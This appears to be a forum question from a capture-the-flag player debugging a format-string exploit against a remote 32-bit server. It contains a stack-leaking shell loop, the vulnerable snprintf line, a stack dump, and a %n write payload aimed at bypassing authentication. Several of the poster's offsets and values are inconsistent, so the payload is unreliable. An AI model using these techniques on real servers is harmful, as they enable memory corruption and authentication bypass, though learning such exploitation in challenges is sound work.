[As part of a ctf] I am trying to exploit a remote server through a tcp connection. The server is using snprintf()
and provides user input as the formatting string. My goal is to dump the stack. Determine the address on the stack of a variable that is used as a guard and modify it in order to bypass the authentication. My problem is, that for whatever reason the %n
format specifier does not seem to write anything to the stack address provided as an argument.
Here is what I did to get a stack dump from the server (Linux, 32bit, ASLR, canaries etc activated. Crashing the server re-randomizes the address space):
for i in {000..181}; do echo -n "offset $i (%$i\$08x) = ";
./client 51079 "%$i\$08x"
| python -c "import sys, struct; s = int(sys.stdin.read(),16); print '0x%08x: %s' % (s, repr(struct.pack('I',s)))"; done
where client is the binary contacting the server through tcp. Here is the vulnerable line of code on the server:
// ibuff read from the socket, of size BUFFLEN = 512, obuff out of size BUFFLEN
char[] hint2 = "this looks like part of the stack of function process_cmds !!!";
snprintf(obuff, BUFFLEN, ibuff, hint2);
Here is the stack dump (interesting parts) I obtain:
offset 001 (%001$08x) = 0xffa70ee1: '\xe1\x0e\xa7\xff' // ADDRESS OF HINT ON THE STACK
offset 002 (%002$08x) = 0x30302500: '\x00%00'
offset 003 (%003$08x) = 0x38302433: '3$08' // MY FORMAT STRING AT OFFSET 3
offset 004 (%004$08x) = 0x00000078: 'x\x00\x00\x00'
offset 005 (%005$08x) = 0x00000000: '\x00\x00\x00\x00'
// ... MORE NULL BYTES HERE!
offset 129 (%129$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 130 (%130$08x) = 0x69687400: '\x00thi' // HINT IS AT OFFSET 131
offset 131 (%131$08x) = 0x6f6c2073: 's lo'
offset 132 (%132$08x) = 0x20736b6f: 'oks '
offset 133 (%133$08x) = 0x656b696c: 'like'
offset 134 (%134$08x) = 0x72617020: ' par'
offset 135 (%135$08x) = 0x666f2074: 't of'
offset 136 (%136$08x) = 0x65687420: ' the'
offset 137 (%137$08x) = 0x61747320: ' sta'
offset 138 (%138$08x) = 0x6f206b63: 'ck o'
offset 139 (%139$08x) = 0x75662066: 'f fu'
offset 140 (%140$08x) = 0x6974636e: 'ncti'
offset 141 (%141$08x) = 0x70206e6f: 'on p'
offset 142 (%142$08x) = 0x65636f72: 'roce'
offset 143 (%143$08x) = 0x635f7373: 'ss_c'
offset 144 (%144$08x) = 0x2073646d: 'mds '
offset 145 (%145$08x) = 0x00212121: '!!!\x00'
offset 146 (%146$08x) = 0x00000003: '\x03\x00\x00\x00'
offset 147 (%147$08x) = 0x0804c0e0: '\xe0\xc0\x04\x08'
offset 148 (%148$08x) = 0xf7d79de9: '\xe9\x9d\xd7\xf7'
offset 149 (%149$08x) = 0xffa71050: 'P\x10\xa7\xff'
offset 150 (%150$08x) = 0xf7f0d000: '\x00\xd0\xf0\xf7'
offset 151 (%151$08x) = 0xf7f0d000: '\x00\xd0\xf0\xf7'
offset 152 (%152$08x) = 0xffa70f48: 'H\x0f\xa7\xff'
offset 153 (%153$08x) = 0x08049a18: '\x18\x9a\x04\x08'
offset 154 (%154$08x) = 0x0000000f: '\x0f\x00\x00\x00'
offset 155 (%155$08x) = 0x080494f8: '\xf8\x94\x04\x08'
offset 156 (%156$08x) = 0xffa70fb8: '\xb8\x0f\xa7\xff'
offset 157 (%157$08x) = 0x0804992c: ',\x99\x04\x08'
offset 158 (%158$08x) = 0xffa72e36: '6.\xa7\xff'
offset 159 (%159$08x) = 0xf7f0f720: ' \xf7\xf0\xf7'
offset 160 (%160$08x) = 0x090eb1a0: '\xa0\xb1\x0e\t'
offset 161 (%161$08x) = 0x87c70002: '\x02\x00\xc7\x87'
offset 162 (%162$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 163 (%163$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 164 (%164$08x) = 0x00000000: '\x00\x00\x00\x00'
offset 165 (%165$08x) = 0x68744900: '\x00Ith'
offset 166 (%166$08x) = 0x6c207369: 'is l'
offset 167 (%167$08x) = 0x736b6f6f: 'ooks'
offset 168 (%168$08x) = 0x6b696c20: ' lik'
offset 169 (%169$08x) = 0x61702065: 'e pa'
offset 170 (%170$08x) = 0x6f207472: 'rt o'
offset 171 (%171$08x) = 0x68742066: 'f th'
offset 172 (%172$08x) = 0x74732065: 'e st'
offset 173 (%173$08x) = 0x206b6361: 'ack '
offset 174 (%174$08x) = 0x6620666f: 'of f'
offset 175 (%175$08x) = 0x74636e75: 'unct'
offset 176 (%176$08x) = 0x206e6f69: 'ion '
offset 177 (%177$08x) = 0x5f504455: 'UDP_'
offset 178 (%178$08x) = 0x636f7270: 'proc'
offset 179 (%179$08x) = 0x20737365: 'ess '
offset 180 (%180$08x) = 0x00212121: '!!!\x00'
offset 181 (%181$08x) = 0xplsshelp: '\xlp\xhe\xss\xpl' // VARIABLE I WANT TO OVERWRITE AT OFFSET 181
Notice that to make sure everything works: ./client 50179 "%s" // prints the hint
.
I calculate the address on the stack of the value I want to replace =>
addr = 0xffa70ee1 - 8 + (181 - 130) * 32 = 0xffa71539
.
I bring the internal stack pointer of the snprintf function inside my string value as follows:
Inupt: "PPPNNNNAAAA|%08x|%08x|%u|%08x|"
Output: PPPNNNNAAAA|ffa70ee1|50505000|1313754702|41414141| // 41414141 == AAAA
Meaning I can put the address I want to write to at the position of the AAAA
bytes.
Here is the input I use to write at the address determined before:
Input:"PPP" "1111" "\x49\x15\xa7\xff" "%08x%08x" "%183u%n----"
Where the padding is chosen following the algorithm:
byte_to_write = 0xca
already_written = 19
byte_to_write += 0x100
already_written %= already_written
padding = (byte_to_write - already_written) % 0x100 // = 183
When I dump the stack again though, no matter how many times I try and what parameters I tweak, it is always unmodified. I cannot see where I am going wrong with this. Are the address offsets reasonable? Am I trying to correctly write on the stack? Where am I going wrong?